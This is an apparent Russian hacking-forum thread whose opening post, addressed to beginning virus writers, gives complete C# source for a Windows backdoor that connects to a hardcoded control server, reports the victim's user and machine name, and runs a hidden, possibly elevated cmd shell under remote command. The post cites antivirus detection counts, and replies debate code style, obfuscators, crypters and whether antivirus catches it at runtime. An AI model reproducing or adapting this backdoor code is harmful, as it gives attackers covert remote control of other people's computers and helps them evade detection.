всех кодеров приветствую и всех начинающих вируса писателей тоже для начало разберем что такое backdoor или же лазейка в ваш пк допустим вы запустили backdoor после его запуска он подключается к серверу который был записан в коде и передает данные о вашем пк такие как username pcname после чего на сервере открывается сессия которая будет уже управлять cmd и так преступим в первую очередь напишем сам backdoor создаем проект в Visual Studio и называем BlackDoor выбираем версию net framework 4. в главном классе Program будут храниться данные о сервере к которому мы будем подключаться создаем переменную в которой будет храниться наш хост //IP:PORT const string host = "127.0.0.1:6666"; CSHARP //IP:PORT const string host = "127.0.0.1:6666"; и так готово, как не трудно догадаться по этим данным наш backdoor будет подключаться на локальный сервер. А для того чтобы он мог подключиться к нему мы будем использовать TCP соединение для этого нам необходимо создать экземпляр объекта TcpClient public static TcpClient tcpClient = new TcpClient(); CSHARP public static TcpClient tcpClient = new TcpClient(); затем для его подключения нам необходимо использовать функцию Connect tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); CSHARP tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); но не так все просто, если допустим оборвалось соединение нам же надо заново подключиться чтобы и для того чтобы избежать потери соединения нам понадобиться проверка и отслеживание ошибок после чего наш код преобразуется в это static void Main(string[] args) { while (true) { if (!tcpClient.Connected) //проверка подключения сессий Connect(); //если нету подключения то делаем попытку подключения заново Thread.Sleep(5000); } } CSHARP static void Main(string[] args) { while (true) { if (!tcpClient.Connected) //проверка подключения сессий Connect(); //если нету подключения то делаем попытку подключения заново Thread.Sleep(5000); } } private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! } } catch { } } CSHARP private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! } } catch { } } подключение готово, а теперь как мы будем общаться с сервером и принимать данные тут уже не совсем так гладко, для таких целей можно будет использовать клиент и сервер с AsyncRat но это не нас случай ибо мы пишем все с нуля первое что мы сделаем это конечно же отправку данных так как после подключения нам будет не обходимо отдать серверу информацию о себе для того чтобы отправлять и принимать данный нам понадобиться NetworkStream создадим приватную переменную с NetworkStream в классе Program и будем её инициализировать в методе Connect так же нам понадобиться еще одна константа это размер буфера обмена или же размер массива байтов которые мы будем передавать на сервер. И да в нашем клиент сервер соединений будет огромный или даже жирный минус в том что половина текста меньше нашего размера буфера будет тупо отсеиваться и не придет на сервер private static NetworkStream stream; const int SizeBuffer = 5000; public static void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0, buffer.Length ); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(true); //при вознекновений ошибки при отправки отключаем сессию на повторное подключение //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз } } CSHARP private static NetworkStream stream; const int SizeBuffer = 5000; public static void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0, buffer.Length ); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(true); //при вознекновений ошибки при отправки отключаем сессию на повторное подключение //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз } } следующие это формат в котором будут отправляться данные чтобы сервер мог понимать какой именно пакет идет на сервер и так же для клиента в нашем случай формат будет такой Header($)info($)info и так что это вообще такое Header это заголовок по которому мы будем индексировать пакет, а ($) это всего лишь делитель пакета или же Split'ер, info это информация которую мы заложили в пакет теперь нам необходимо отправить данные о подключений на сервер а так же инициализировать наш NetworkStream private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! stream = tcpClient.GetStream(); Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName+"($)"); } } catch { } } CSHARP private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! stream = tcpClient.GetStream(); Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName+"($)"); } } catch { } } все данные отправились на наш сервер где мы их примем после чего наш сервер будет отправлять команды в cmd, а пакет будет выглядеть так shell($)info($) последний сплитер или же делитель для того чтобы избежать нулевые байты или же нули или пробелы теперь чтобы принять его пакет нам надо считать данные с NetworkStream для этого создадим метод и отдельный поток для его работы private static void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные stream.Read(responseData, 0, SizeBuffer); //считывание данных string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { } } } catch { } } CSHARP private static void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные stream.Read(responseData, 0, SizeBuffer); //считывание данных string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { } } } catch { } } метод готов теперь нам нужно создать новый класс который будет отвечать за управление cmd назовем наш класс Shell в подробности данного класса не буду объяснять тут и так понятно за что он отвечает public static class Shell { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static Process ProcessShell; public static string Input { get; set; } public static void ShellWriteLine(string arg) { ProcessShell.StandardInput.WriteLine(arg); } public static void StarShell() { ProcessStartInfo StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardInput = true, RedirectStandardError = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage), StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage) }; if (IsAdmin()) { StartInfo.Verb = "runas"; } ProcessShell = new Process(); ProcessShell.StartInfo = StartInfo; ProcessShell.OutputDataReceived += ShellDataHandler; ProcessShell.ErrorDataReceived += ShellDataHandler; ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); while (Program.tcpClient.Connected) { Thread.Sleep(2000); } ShellClose(); return; } private static void ShellDataHandler(object sender, DataReceivedEventArgs e) { StringBuilder Output = new StringBuilder(); try { Output.AppendLine(e.Data); Program.Send("shell($)" + Output.ToString()+"($)"); //отправка данных с cmd на сервер } catch { } } public static void ShellClose() { try { if (ProcessShell != null) { KillProcessAndChildren(ProcessShell.Id); ProcessShell.OutputDataReceived -= ShellDataHandler; ProcessShell.ErrorDataReceived -= ShellDataHandler; } } catch { } } private static void KillProcessAndChildren(int pid) { if (pid == 0) { return; } ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid); ManagementObjectCollection moc = searcher.Get(); foreach (ManagementObject mo in moc) { KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"])); } try { Process proc = Process.GetProcessById(pid); proc.Kill(); } catch { } } } CSHARP public static class Shell { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static Process ProcessShell; public static string Input { get; set; } public static void ShellWriteLine(string arg) { ProcessShell.StandardInput.WriteLine(arg); } public static void StarShell() { ProcessStartInfo StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardInput = true, RedirectStandardError = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage), StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage) }; if (IsAdmin()) { StartInfo.Verb = "runas"; } ProcessShell = new Process(); ProcessShell.StartInfo = StartInfo; ProcessShell.OutputDataReceived += ShellDataHandler; ProcessShell.ErrorDataReceived += ShellDataHandler; ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); while (Program.tcpClient.Connected) { Thread.Sleep(2000); } ShellClose(); return; } private static void ShellDataHandler(object sender, DataReceivedEventArgs e) { StringBuilder Output = new StringBuilder(); try { Output.AppendLine(e.Data); Program.Send("shell($)" + Output.ToString()+"($)"); //отправка данных с cmd на сервер } catch { } } public static void ShellClose() { try { if (ProcessShell != null) { KillProcessAndChildren(ProcessShell.Id); ProcessShell.OutputDataReceived -= ShellDataHandler; ProcessShell.ErrorDataReceived -= ShellDataHandler; } } catch { } } private static void KillProcessAndChildren(int pid) { if (pid == 0) { return; } ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid); ManagementObjectCollection moc = searcher.Get(); foreach (ManagementObject mo in moc) { KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"])); } try { Process proc = Process.GetProcessById(pid); proc.Kill(); } catch { } } } ShellDataHandler будет отправлять полученные данные с cmd нашему серверу которые мы будем выводить так же для работы нашего шелла нам надо запустить функцию StarShell в методе Connect. А так же мы должны принимать данные с сервера и передавать в cmd после чего наш код будет готов using System; using System.Diagnostics; using System.Globalization; using System.IO; using System.Management; using System.Net.Sockets; using System.Security.Principal; using System.Text; using System.Threading; namespace BlackDoor { internal class Program { const string host = "127.0.0.1:6666"; const int SizeBuffer = 5000; public static TcpClient tcpClient = new TcpClient(); private static NetworkStream stream; static void Main(string[] args) { while (true) { if (!tcpClient.Connected) //проверка подключения сессий Connect(); //если нету подключения то делаем попытку подключения заново Thread.Sleep(5000); } } private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! stream = tcpClient.GetStream(); new Thread(() => Read()).Start(); //создания потока для чтения данных Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName + "($)"); Shell.StarShell(); } } catch { } } private static void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные stream.Read(responseData, 0, SizeBuffer); //считывание данных string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { case "shell": { //shell($)ipconfig($) пример пакета Shell.ShellWriteLine(Messages[1]); break; } case "exit": { //exit($) tcpClient.Close(); Shell.ShellClose(); Environment.Exit(0); break; } } } } catch { } } public static void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0,buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(true); //при вознекновений ошибки при отправки отключаем сессию на повторное подключение //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз } } } public static class Shell { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static Process ProcessShell; public static string Input { get; set; } public static void ShellWriteLine(string arg) { ProcessShell.StandardInput.WriteLine(arg); } public static void StarShell() { ProcessStartInfo StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardInput = true, RedirectStandardError = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage), StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage) }; if (IsAdmin()) { StartInfo.Verb = "runas"; } ProcessShell = new Process(); ProcessShell.StartInfo = StartInfo; ProcessShell.OutputDataReceived += ShellDataHandler; ProcessShell.ErrorDataReceived += ShellDataHandler; ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); while (Program.tcpClient.Connected) { Thread.Sleep(2000); } ShellClose(); return; } private static void ShellDataHandler(object sender, DataReceivedEventArgs e) { StringBuilder Output = new StringBuilder(); try { Output.AppendLine(e.Data); Program.Send("shell($)" + Output.ToString() + "($)"); //отправка данных с cmd на сервер } catch { } } public static void ShellClose() { try { if (ProcessShell != null) { KillProcessAndChildren(ProcessShell.Id); ProcessShell.OutputDataReceived -= ShellDataHandler; ProcessShell.ErrorDataReceived -= ShellDataHandler; } } catch { } } private static void KillProcessAndChildren(int pid) { if (pid == 0) { return; } ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid); ManagementObjectCollection moc = searcher.Get(); foreach (ManagementObject mo in moc) { KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"])); } try { Process proc = Process.GetProcessById(pid); proc.Kill(); } catch { } } } } CSHARP using System; using System.Diagnostics; using System.Globalization; using System.IO; using System.Management; using System.Net.Sockets; using System.Security.Principal; using System.Text; using System.Threading; namespace BlackDoor { internal class Program { const string host = "127.0.0.1:6666"; const int SizeBuffer = 5000; public static TcpClient tcpClient = new TcpClient(); private static NetworkStream stream; static void Main(string[] args) { while (true) { if (!tcpClient.Connected) //проверка подключения сессий Connect(); //если нету подключения то делаем попытку подключения заново Thread.Sleep(5000); } } private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! stream = tcpClient.GetStream(); new Thread(() => Read()).Start(); //создания потока для чтения данных Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName + "($)"); Shell.StarShell(); } } catch { } } private static void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные stream.Read(responseData, 0, SizeBuffer); //считывание данных string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { case "shell": { //shell($)ipconfig($) пример пакета Shell.ShellWriteLine(Messages[1]); break; } case "exit": { //exit($) tcpClient.Close(); Shell.ShellClose(); Environment.Exit(0); break; } } } } catch { } } public static void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0,buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(true); //при вознекновений ошибки при отправки отключаем сессию на повторное подключение //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз } } } public static class Shell { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static Process ProcessShell; public static string Input { get; set; } public static void ShellWriteLine(string arg) { ProcessShell.StandardInput.WriteLine(arg); } public static void StarShell() { ProcessStartInfo StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardInput = true, RedirectStandardError = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage), StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage) }; if (IsAdmin()) { StartInfo.Verb = "runas"; } ProcessShell = new Process(); ProcessShell.StartInfo = StartInfo; ProcessShell.OutputDataReceived += ShellDataHandler; ProcessShell.ErrorDataReceived += ShellDataHandler; ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); while (Program.tcpClient.Connected) { Thread.Sleep(2000); } ShellClose(); return; } private static void ShellDataHandler(object sender, DataReceivedEventArgs e) { StringBuilder Output = new StringBuilder(); try { Output.AppendLine(e.Data); Program.Send("shell($)" + Output.ToString() + "($)"); //отправка данных с cmd на сервер } catch { } } public static void ShellClose() { try { if (ProcessShell != null) { KillProcessAndChildren(ProcessShell.Id); ProcessShell.OutputDataReceived -= ShellDataHandler; ProcessShell.ErrorDataReceived -= ShellDataHandler; } } catch { } } private static void KillProcessAndChildren(int pid) { if (pid == 0) { return; } ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid); ManagementObjectCollection moc = searcher.Get(); foreach (ManagementObject mo in moc) { KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"])); } try { Process proc = Process.GetProcessById(pid); proc.Kill(); } catch { } } } } https://zelenka.guru/threads/5049453/ о том как создать сервер для этого backdoor'а надеюсь на ваше внимание тему писал около часа :warpath: у данного бэкдора детектов два https://antiscan.me/scan/new/result?id=Z3toqarNsna8 кст хочу сказать отдельное спасибо клоунам под этой теме которые решили воспринять эту тему как практический готовый backdoor, я лишь этой темой показал как работают backdoor'ы.
ты сам то хоть понял что написал? BackDoor - это понятие абстрактное, бэкдор может подкачивать с удаленного хоста что угодно, бэкдор может зоздавать допустим скрытые учетки, чтобы ты их потом использовал,для примера: пиздил **** из админки ******а который впарил оленю какому-то тут на форуме, бэкдор может пересылать **** с чекера, может много чего. Ну и делая выводи, напрашивается вопрос, в теории работает, а как же практика? Что скажут ав? и вообще, что насчет блокировки входящих подключений, что на счет UAC? Короче, зря ты час потратил, лучше бы пива выпил вместо этого.
Dead__Artis, Стандарты... Я имел ввиду то, что ты даже на джуна не реализовываешь свой код, лишь на простачка любителя который перешёл из другого языка для написания чего либо для себя, учитывая каким образом ты построил этот проект. То, как ты пишешь свой код, как указываешь поля и прочее... Реализация с switch и message вообще фантан смыслов, нормальный человек который даже пол года сидит в c# сделал бы это отдельно как интерфейс, внутри которого будут все данные и реализация (каждая команда по своему) с главным CommandHandler`om Ты если базу нормального c# с ооп не знаешь, зачем ты пытаешься кого-то научить? Пример бэкдора где на самом деле пример TcpListener`a, где на самом деле пример как не нужно писать код, где на самом деле пример, как не стать мусорным кодером с опытом в 3 года на c# В начале я не поднимал эту тему, поскольку мне не грубили и каждый пишет как хочет
dothemost, начнем с того что я писал код на отъебись и стандарты ооп я знаю и так же ты писал что видел в профиле что я 3 года в кодинге, я более напишу что я в кодинге 6 лет, в первую очередь в малварь кодинге на шарпе, вот ты пишешь что я кого то пытаюсь научить, а сам пытаешься научить меня в комментах писать код как "нормальный человек", закончим тем что интерфейс тут и нахрен не нужен, а поставь ты его то половина фри обфускаторов убьют твой код и так же код написанный в одном классе легче понять чем я бы писал для каждых пакетов свой хендлер, и почему бы тебе самому в таком случае не написать БэКдоор ? вы же на практике даже тем не пишите, а в комментариях все знатоки.
Dead__Artis, Я высказался, как я написал бы эту реализаци. Создал бы пространство имён Commands, прикрутил бы CommandHandler, прикрутил бы интерфейс ICommand с именем команды и реализацией её, реализовал бы команды, зарегистрировал бы их в классе CommandHandler, прикрутил бы try catch на CommandHandler, знал бы в какой команде будет ошибка, реализации разных команд отведены были бы а не всё в *куче* Половина фри обфускаторов?) Так ты не используй фри обфускатор, дружище. Если ты не в состоянии написать себе обфускатор, попроси людей, пусть тебе напишут под твои задачи. Да и, есть ли смысл? Я не пытаюсь тебя научить, тебе изначально указали, что бэкдор это абстракция а не экземпл тсп прослушивателя с какими то реализациями. Так же тебе указали, что это мусор на c#, но ты с напененным ртом доказываешь обратное, хотя любой твой бэкдор сносится за 5 минут и это факт. Тебе изначально никто не хотел ничего говорить, я лишь поддержал человека. Но затем ты начал хамить и блятькать, так почему бы мне не задеть тебя за твой недокод? Писал на отъебись, я даже когда пишу на отъебись, у меня стандарты написания на уровне как будто я в команде работать собираюсь.
v4vner, как-то спросили армянское радио (ChatGPT), а создай блатной ЯП, и оно ответило: "К сожалению, я не могу создать программу на языке LOLZ, так как это язык программирования, который был придуман для шутки и не предназначен для серьезной работы. Однако, я могу предложить вам написать программу на языке Python, который очень похож на LOLZ в терминах синтаксиса и структуры программы. Ниже приведен пример программы на Python, который демонстрирует некоторые особенности этого языка, которые сделают его похожим на LOLZ HAI CAN HAS STDIO? I HAS A VAR GIMMEH VAR VISIBLE "U ENTERED " N VAR KTHXBYE Python HAI CAN HAS STDIO? I HAS A VAR GIMMEH VAR VISIBLE "U ENTERED " N VAR KTHXBYE В этой программе мы используем несколько ключевых слов, которые могут напоминать некоторые команды из LOLZ: HAI - это приветственное слово, аналогичное CAN HAS STDIO? в LOLZ. I HAS A VAR - это объявление переменной, аналогичное I HAS A в LOLZ. GIMMEH VAR - это запрос значения от пользователя, аналогичный GIMMEH в LOLZ. VISIBLE - это команда вывода текста в консоль, аналогичная VISIBLE в LOLZ. KTHXBYE - это прощальное слово, аналогичное KTHXBYE в LOLZ. Надеюсь, это поможет вам лучше понять синтаксис и структуру программы на языке LOLZ. вот тебе и анекдот
это ты детектом считаешь? давай так, ты берешь и запускаешь чудо-дор на винде со свежими обновлениями и делаешь скрин на фоне этого треда? я молчу о рантайме))) блять... когда уже перестанете впаривать эти масс-сканеры как пруф?
afrodita, Мен, та ты полностью прав) ну а как-же чудо-криптеры жить будут))))) ну а слово рантайм-детектЫ или более глубже лов-фи-детекЫ и остальные флаги тут походу под запретом
Bob_Smuggler, ты гонишь ? давай запусти на свежей винде я посмотрю будут ли детекты по рантайму, А ИХ НЕ БУДЕТ потому что он не будет детектить такие простые вещи как соединение tcp и запуск cmd, потому что эти действия не считаются вредоносными
afrodita, тут ты конечно не прав, со всего уважения Мэн, как только он (бэкдор) стукнет в с2, это будет последнее, что он сможет сделать, а про загрузку это теория